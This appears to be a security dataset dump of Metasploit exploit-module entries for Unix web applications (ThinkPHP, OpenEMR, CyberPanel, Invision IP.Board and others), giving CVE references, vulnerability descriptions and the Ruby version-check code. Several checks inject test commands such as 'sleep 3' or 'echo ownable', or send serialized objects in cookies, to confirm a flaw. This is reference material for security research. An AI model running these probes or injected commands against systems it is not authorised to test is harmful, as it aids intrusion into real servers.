deardaniel/secdata-raw huggingface dataset:
Metasploit Module: ThinkPHP Multiple PHP Injection RCEs
Type: exploit
Path: modules/exploits/unix/webapp/thinkphp_rce.rb
Platform: unix
Disclosure date: 2018-12-10
References: CVE-2018-20062, CVE-2019-9082, URL-https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce, URL-https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
Targets: Unix Command, Linux Dropper

Description:
This module exploits one of two PHP injection vulnerabilities in the
          ThinkPHP web framework to execute code as the web user.

          Versions up to and including 5.0.23 are exploitable, though 5.0.23 is
          vulnerable to a separate vulnerability. The module will automatically
          attempt to detect the version of the software.

          Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.

Check method (fingerprinting):
# An unknown route will trigger the ThinkPHP copyright with version
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        's' => rand_text_alpha(8..42)
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m)
      return CheckCode::Unknown(
        'Target did not respond with ThinkPHP copyright.'
      )
    end

    # Get the first copyright <span> containing the version
    version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text

    unless (version = version.scan(/^V([\d.]+)$/).flatten.first)
      return CheckCode::Detected(
        'Target did not respond with ThinkPHP version.'
      )
    end

    # Make the parsed version a comparable ivar for automatic exploitation
    @version = Rex::Version.new(version)

    if @version <= Rex::Version.new('5.0.23')
      return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.")
    end

    CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.")
  end
Metasploit Module: CakePHP Cache Corruption Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/cakephp_cache_corruption.rb
Platform: php
Disclosure date: 2010-11-15
References: OSVDB-69352, CVE-2010-4335, BID-44852

Description:
CakePHP is a popular PHP framework for building web applications.  The
          Security component of CakePHP versions 1.3.5 and earlier and 1.2.8 and
          earlier is vulnerable to an unserialize attack which could be abused to
          allow unauthenticated attackers to execute arbitrary code with the
          permissions of the webserver.
Metasploit Module: OpenEMR PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/openemr_upload_exec.rb
Platform: php
Disclosure date: 2013-02-13
References: CVE-2009-4140, OSVDB-90222, BID-37314, EDB-24492, URL-http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php, URL-http://www.open-emr.org/wiki/index.php/OpenEMR_Patches

Description:
This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
          ofc_upload_image.php file from the openflashchart library, a malicious user can
          upload a file to the tmp-upload-images directory without any authentication, which
          results in arbitrary code execution. The module has been tested successfully on
          OpenEMR 4.1.1 over Ubuntu 10.04.

Check method (fingerprinting):
uri = target_uri.path
    peer = "#{rhost}:#{rport}"

    # Check version
    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "interface", "login", "login.php")
    })

    if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version > "4.1.1"
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end

    # Check for vulnerable component
    vprint_status("Trying to detect the vulnerable component")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
    })

    if res and res.code == 200 and res.body =~ /Saving your image to/
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: SugarCRM REST Unserialize PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
Platform: php
Disclosure date: 2016-06-23
Authors: EgiX
References: CVE-2025-25034, URL-http://karmainsecurity.com/KIS-2016-07, URL-http://www.sugarcrm.com/security/sugarcrm-sa-2016-001, URL-http://www.sugarcrm.com/security/sugarcrm-sa-2016-008, URL-https://bugs.php.net/bug.php?id=72663

Description:
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
          which could be abused to allow unauthenticated users to execute arbitrary PHP code with
          the permissions of the webserver. The dangerous unserialize() call exists in the
          '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
          method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
Metasploit Module: Oracle VM Server Virtual Server Agent Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
Platform: %w{linux unix}
Disclosure date: 2010-10-12
References: CVE-2010-3585, OSVDB-68797, BID-44047

Description:
This module exploits a command injection flaw within Oracle\'s VM Server
          Virtual Server Agent (ovs-agent) service.

          By including shell meta characters within the second parameter to the 'utl_test_url'
          XML-RPC methodCall, an attacker can execute arbitrary commands. The service
          typically runs with root privileges.

          NOTE: Valid credentials are required to trigger this vulnerable. The username
          appears to be hardcoded as 'oracle', but the password is set by the administrator
          at installation time.

Check method (fingerprinting):
print_status("Attempting to detect if the server is vulnerable...")

    # Try running/timing sleep 3
    start = Time.now
    go('sleep 3')
    elapsed = Time.now - start
    if elapsed >= 3 and elapsed <= 4
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: PHP XML-RPC Arbitrary Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/php_xmlrpc_eval.rb
Platform: unix
Disclosure date: 2005-06-29
References: CVE-2005-1921, OSVDB-17793, BID-14088

Description:
This module exploits an arbitrary code execution flaw
          discovered in many implementations of the PHP XML-RPC module.
          This flaw is exploitable through a number of PHP web
          applications, including but not limited to Drupal, Wordpress,
          Postnuke, and TikiWiki.

Check method (fingerprinting):
response = go("echo ownable")
    if (!response.nil? and response =~ /ownable/sm)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress Plugin Google Document Embedder Arbitrary File Disclosure
Type: exploit
Path: modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
Platform: php
Disclosure date: 2013-01-03
References: CVE-2012-4915, OSVDB-88891, URL-http://web.archive.org/web/[PII_REDACTED]1940/http://secunia.com/advisories/50832/

Description:
This module exploits an arbitrary file disclosure flaw in the WordPress
          blogging software plugin known as Google Document Embedder. The vulnerability allows for
          database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
          plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
          server is exposed on an accessible IP and WordPress has filesystem write access.

          Please note: The admin password may get changed if the exploit does not run to the end.

Check method (fingerprinting):
uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    plugins_uri = String.new(uri)
    plugins_uri << datastore['PLUGINSPATH']
    plugins_uri << '/' if plugins_uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Nextcloud Workflows Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Platform: %w[unix linux
Disclosure date: 2023-03-30
References: CVE-2023-26482
Targets: nix Command

Description:
This module adds workflows as an authenticated user
          which can only be created by administrators by design.
          If the app "Nextcloud Workflow Script" is installed it
          is possible to generate a workflow that executes commands.

Check method (fingerprinting):
# For the check command
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    request_token
    flow_id = create_workflow('sleep 1')

    return Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?

    delete_workflow(flow_id)
    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: CyberPanel Multi CVE Pre-auth RCE
Type: exploit
Path: modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Platform: %w[unix linux
Disclosure date: 2024-10-27
References: CVE-2024-51567, CVE-2024-51568, CVE-2024-51378, URL-https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce, URL-https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/, URL-https://github.com/DreyAnd/CyberPanel-RCE, URL-https://github.com/refr4g/CVE-2024-51378, URL-https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/, URL-https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882
Targets: Unix/Linux Command Shell

Description:
This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:

          - CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint.
          - CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink.
          - CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus".

          These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.

Check method (fingerprinting):
return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel

    if test_vulnerability(action.name.downcase)
      CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.')
    else
      CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.')
    end
  end
Metasploit Module: WordPress WPshop eCommerce Arbitrary File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb
Platform: php
Disclosure date: 2015-03-09
References: CVE-2015-10135, URL-https://research.g0blin.co.uk/g0blin-00036/

Description:
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
          from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
          code execution. This module has been tested successfully on WordPress WPshop eCommerce
          1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.

Check method (fingerprinting):
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
  end
Metasploit Module: WordPress cache_lastpostdate Arbitrary Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/wp_lastpost_exec.rb
Platform: php
Disclosure date: 2005-08-09
References: CVE-2005-2612, OSVDB-18672, BID-14533

Description:
This module exploits an arbitrary PHP code execution flaw in the WordPress
          blogging software. This vulnerability is only present when the PHP 'register_globals'
          option is enabled (common for hosting providers). All versions of WordPress prior to
          1.5.1.3 are affected.
Metasploit Module: Drupal CODER Module Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/drupal_coder_exec.rb
Platform: unix
Disclosure date: 2016-07-13
References: URL-https://www.drupal.org/node/2765575

Description:
This module exploits a Remote Command Execution vulnerability in the
          Drupal CODER Module. Unauthenticated users can execute arbitrary
          commands under the context of the web server user.

          The CODER module doesn't sufficiently validate user inputs in a script
          file that has the PHP extension. A malicious unauthenticated user can
          make requests directly to this file to execute arbitrary commands.
          The module does not need to be enabled for this to be exploited.

          This module was tested against CODER 2.5 with Drupal 7.5 installed on
          Ubuntu Server.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php')
    )

    if res && res.body.include?('file parameter is not setNo path to parameter file')
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: GetSimpleCMS PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb
Platform: php
Disclosure date: 2014-01-04
References: CVE-2013-10032, EDB-25405, OSVDB-93034

Description:
This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
          upload.php file, a malicious authenticated user can upload an arbitrary file,
          including PHP code, which results in arbitrary code execution.

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php') })

    if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    print_status("Version #{version} found")

    if Rex::Version.new(version) <= Rex::Version.new('3.1.2')
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Simple E-Document Arbitrary File Upload
Type: exploit
Path: modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
Platform: php
Disclosure date: 2014-01-23
References: CVE-2014-125126, EDB-31142

Description:
This module exploits a file upload vulnerability found in Simple
          E-Document versions 3.0 to 3.1. Attackers can bypass authentication and
          abuse the upload feature in order to upload malicious PHP files which
          results in arbitrary remote code execution as the web server user. File
          uploads are disabled by default.

Check method (fingerprinting):
res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'upload.php'),
      'cookie' => 'access=3'
    })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/
      vprint_error("File uploads are disabled")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    if res.body and res.body.to_s =~ /Upload File/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  #
  # Uploads our malicious file
  #
Metasploit Module: Basilic 1.5.14 diff.php Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/basilic_diff_exec.rb
Platform: %w{linux unix}
Disclosure date: 2012-06-28
References: CVE-2012-3399, OSVDB-83719, BID-54234

Description:
This module abuses a metacharacter injection vulnerability in the
          diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
          commands as the www-data user account.

Check method (fingerprinting):
base = normalize_uri(target_uri.path)

    sig = rand_text_alpha(10)

    res = send_request_cgi({
      'uri' => normalize_uri("/#{base}/Config/diff.php"),
      'vars_get' => {
        'file' => sig,
        'new' => '1',
        'old' => '2'
      }
    })

    if res and res.code == 200 and res.body =~ /#{sig}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: ZoneMinder Video Server packageControl Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
Platform: unix
Disclosure date: 2013-01-22
References: CVE-2013-0232, OSVDB-89529, EDB-24310, URL-http://web.archive.org/web/[PII_REDACTED]3730/https://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/

Description:
This module exploits a command execution vulnerability in ZoneMinder Video
          Server version 1.24.0 to 1.25.0 which could be abused to allow
          authenticated users to execute arbitrary commands under the context of the
          web server user. The 'packageControl' function in the
          'includes/actions.php' file calls 'exec()' with user controlled data
          from the 'runState' parameter.

Check method (fingerprinting):
peer = "#{rhost}:#{rport}"
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10) + 6)
    data = "action=login&view=version&username=#{user}&password=#{pass}"

    # login and retrieve software version
    print_status("Authenticating as user '#{user}'")
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => "#{base}index.php",
        'cookie' => "#{cookie}",
        'data' => "#{data}",
      })
      if res and res.code == 200
        if res.body =~ /<title>ZM - Login<\/title>/
          vprint_error("Service found, but authentication failed")
          return Exploit::CheckCode::Detected('The target service was detected')
        elsif res.body =~ /v1.2(4\.\d+|5\.0)/
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        elsif res.body =~ /<title>ZM/
          return Exploit::CheckCode::Detected('The target service was detected')
        end
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress Plugin Pie Register Auth Bypass to RCE
Type: exploit
Path: modules/exploits/unix/webapp/wp_pie_register_bypass_rce.rb
Platform: php
Disclosure date: 2021-10-08
References: CVE-2025-34077, EDB-50395

Description:
This module uses an authentication bypass vulnerability in
          Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
          With this cookie, hopefully of the admin, it will generate a plugin,
          pack the payload into it and upload it to a server running WordPress.

Check method (fingerprinting):
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

    checkcode = check_plugin_version_from_readme('pie-register', '3.7.1.5')
    if checkcode == CheckCode::Safe
      print_error('Pie Register not a vulnerable version')
    end
    return checkcode
  end
Metasploit Module: myBB 1.6.4 Backdoor Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/mybb_backdoor.rb
Platform: php
Disclosure date: 2011-10-06
References: CVE-2011-10018, OSVDB-76111, BID-49993, URL-http://web.archive.org/web/[PII_REDACTED]1259/http://secunia.com/advisories/46300/

Description:
myBB is a popular open source PHP forum software. Version 1.6.4 contained an
          unauthorized backdoor, distributed as part of the vendor's source package.

Check method (fingerprinting):
vprint_status("Checking target")
    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    }, 10)

    if (not res) or (not res.code.between?(200, 299))
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Detected('The target service was detected')
    end
  end
Metasploit Module: WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/wp_foxypress_upload.rb
Platform: php
Disclosure date: 2012-06-05
References: CVE-2012-10020, EDB-18991, BID-53805

Description:
This module exploits an arbitrary PHP code execution flaw in the WordPress
          blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
          file upload and remote code execution via the uploadify.php script. The Foxypress
          plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
    )

    return Exploit::CheckCode::Detected('The target service was detected') if res && res.code == 200

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Invision IP.Board unserialize() PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
Platform: php
Disclosure date: 2012-10-25
References: CVE-2012-5692, OSVDB-86702, BID-56288, EDB-22398, URL-http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/

Description:
This module exploits a php unserialize() vulnerability in Invision IP.Board
          <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
          code under the context of the webserver user.

          The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
          which is called with user controlled data from the cookie. The exploit abuses the
          __destruct() method from the dbMain class to write arbitrary PHP code to a file on
          the Invision IP.Board web directory.

          The exploit has been tested successfully on Invision IP.Board 3.3.4.

Check method (fingerprinting):
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
    res = send_request_cgi(
      {
        'uri' => "#{base}index.php",
        'method' => 'GET',
        'cookie' => "#{cookie_prefix}session_id=#{check_str}"
      }
    )

    if res && (res.code == 500 || res.body =~ /PHP_Incomplete_Class/)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    elsif res and res.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
  end